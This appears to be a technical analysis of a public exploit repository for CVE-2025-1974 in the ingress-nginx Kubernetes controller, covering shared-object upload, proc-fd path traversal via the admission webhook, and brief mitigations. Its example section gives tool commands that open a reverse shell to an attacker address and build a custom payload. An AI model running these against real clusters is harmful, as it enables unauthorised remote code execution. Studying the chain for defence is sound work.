# Two-Phase Attack Mechanism for Ingress-Nginx Exploitation: CVE-2025-1974 Technical Analysis

> Uncover the two-phase attack mechanism for ingress-nginx exploitation leveraging CVE-2025-1974. Learn how cache smuggling and path traversal enable unauthenticated RCE in the NGINX controller pod.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: technichal-analysis
- Published: 2026-03-01

---

**The two-phase attack mechanism for ingress-nginx exploitation combines cache smuggling of a malicious shared object with proc-fd path traversal via the admission webhook to achieve unauthenticated remote code execution inside the NGINX controller pod.**

The `esonhugh/ingressnightmare-cve-2025-1974-exps` repository implements a critical exploit chain targeting the ingress-nginx controller. This attack leverages the interaction between NGINX's file caching behavior and the admission validation webhook's configuration testing functionality to execute attacker-controlled code without authentication.

## Phase 1: Cache Smuggling via Malicious Shared Object Upload

The first phase plants the payload into the controller's memory space using a technique that abuses NGINX's request handling.

The `BadUploader` function in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) initiates a raw TCP connection to the **upload URL** of the ingress controller and transmits a crafted `POST` request with `Content-Length: 1 MiB`. This large request body contains a compiled shared object (`danger.so`) generated by `payload.NewReverseShellPayload` defined in [`nginx-ingress/payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go). 

By keeping the connection alive, the uploaded object persists in the NGINX cache as a temporary file. The tool also provides `BadUploadHTTP` and `BadUploadHTTPS` variants for different protocol requirements. This cache-smuggling technique ensures the malicious payload remains accessible in memory without being written to persistent storage.

## Phase 2: Proc-Fd Path Traversal via Admission Webhook

The second phase forces the admission webhook to load the cached payload through a path traversal vulnerability.

The `ValidateWebHook` and `ValidateWebhookSpecificFilePath` functions in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go) send crafted POST requests to the **admission-webhook URL**. The JSON body contains a malicious `ssl_engine` directive that references a path constructed as `../../../../../../proc/<pid>/fd/<fd>`. 

Because the admission webhook runs `nginx -t -c <temp-cfg>` to validate configurations, and because the webhook process resides inside the same pod as the NGINX worker, the loader resolves the proc filesystem path to the attacker's cached file descriptor. When the configuration test executes, NGINX loads the attacker-controlled shared object from `/proc/<pid>/fd/<fd>`, triggering immediate execution with the same privileges as the NGINX master process.

## Orchestration and Implementation Details

The `Exploit` function coordinates both phases through concurrent execution. It spawns a continuous upload thread running `UploadThread` → `BadUploader` to maintain the payload in cache while simultaneously launching multiple goroutines that brute-force possible PID and file descriptor combinations via `ValidateWebHook`.

The admission request template resides in [`nginx-ingress/validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/validate.json), which the exploit patches dynamically with the target proc-fd path. The pre-compiled `nginx-ingress/danger.so` ships embedded within the repository for compatible architectures, though attackers can compile custom payloads using the template in [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go).

## Practical Exploitation Examples

Execute the complete two-phase attack using the command-line tool:

```bash

# Launch both phases: upload payload while probing webhook

ingressnightmare \
    -m c \
    -c "" \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
    -r 10.0.0.42 -p 4444 \
    -v

```

This command:
1. Generates a reverse-shell payload via `payload.NewReverseShellPayload`
2. Maintains the upload via `BadUploader` to cache the `.so` file
3. Brute-forces PID/FD pairs through `ValidateWebHook` until successful injection

For environments with architecture mismatches, compile a custom shared object:

```bash

# Compile custom payload

gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o mypayload.so -shared danger.c

# Execute with custom library

ingressnightmare -m c -c 'id' -i $WEBHOOK -u $UPLOAD --so ./mypayload.so -v

```

## Summary

- **Phase 1** involves uploading a malicious shared object (`danger.so`) through a large POST request that remains cached in NGINX's memory via `BadUploader` in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go).
- **Phase 2** exploits the admission webhook's configuration validation by injecting an `ssl_engine` directive that traverses to `/proc/<pid>/fd/<fd>`, causing `nginx -t` to load the cached payload.
- The attack achieves **remote code execution** with NGINX process privileges without requiring authentication or prior access to the cluster.
- Key functions include `Exploit`, `BadUploader`, `ValidateWebHook`, and `ValidateWebhookSpecificFilePath` located in [`nginx-ingress/exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go).

## Frequently Asked Questions

### How does the two-phase attack mechanism bypass authentication requirements?

The exploit targets the admission webhook endpoint, which typically lacks authentication in default ingress-nginx deployments, and leverages the `nginx -t` configuration test that runs with elevated privileges inside the controller pod. By combining the publicly accessible upload endpoint with the webhook's file system access, the attacker never needs to authenticate to the Kubernetes API or the ingress controller itself.

### Why does the attack require brute-forcing PID and file descriptor numbers?

NGINX worker processes assign file descriptors dynamically when caching the uploaded payload. Since the attacker cannot predict which specific process ID (`<pid>`) will handle the upload or which file descriptor number (`<fd>`) the system allocates for the cached object, the `Exploit` function must iterate through possible combinations until `ValidateWebhookSpecificFilePath` successfully references the malicious shared object.

### Can the ingress-nginx two-phase attack be mitigated without patching?

Temporary mitigations include disabling the admission webhook validation, restricting access to the admission endpoint through network policies, or preventing the `nginx -t` command from executing with privileges that allow proc filesystem traversal. However, because the vulnerability resides in the core interaction between NGINX caching and webhook validation, comprehensive protection requires upgrading to a patched version of ingress-nginx that sanitizes configuration directives and restricts file loading paths.

### What architectures are supported by the embedded danger.so payload?

The repository includes a pre-compiled `nginx-ingress/danger.so` that targets common Linux architectures. For incompatible targets, attackers must compile custom shared objects using the provided [`danger.c`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/danger.c) source and the [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) generation functions, specifying appropriate compiler flags such as `-fPIC`, `-nostdlib`, and `-shared` to ensure proper execution within the NGINX process context.